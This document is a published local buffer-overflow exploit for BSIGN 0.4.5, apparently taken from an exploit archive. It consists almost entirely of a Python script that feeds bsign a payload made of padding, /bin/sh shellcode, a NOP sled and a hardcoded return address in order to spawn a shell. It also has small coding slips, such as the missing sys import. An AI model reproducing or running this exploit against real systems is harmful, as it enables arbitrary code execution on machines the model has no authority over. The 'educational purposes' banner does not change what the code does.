BSIGN 0.4.5 – Local Buffer Overflow
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com> # Program: bsign - embed and verify secure hashes and digital signatures # Tested on: GNU/Linux - Kali Linux 2.0 # # Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate # boundary-checks on user-supplied input. # # An attacker could exploit this issue to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Vendor homepage: http://www.debian.org # Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages # MD5: 0fc1d2e9c374c1156b2b02186a9f8980 import os,subprocess def run(): try: print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco" print "# Wasting CPU clocks on unusable exploits" print "# This exploit is for educational purposes only" # Basic structure: JUNK + SHELLCODE + NOPS + EIP junk = "\x41"*8 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" nops = "\x90"*248 eip = "\x10\xd3\xff\xbf" subprocess.call(["bsign -f",'-f ', junk + shellcode + nops + eip]) except OSError as e: if e.errno == os.errno.ENOENT: print "BSIGN not found!" else: print "Error executing exploit" raise def howtousage(): print "Sorry, something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit BSign 0.4.5 Local Overflow Exploit" print "Author: Juan Sacco" except IndexError: howtousage() run() |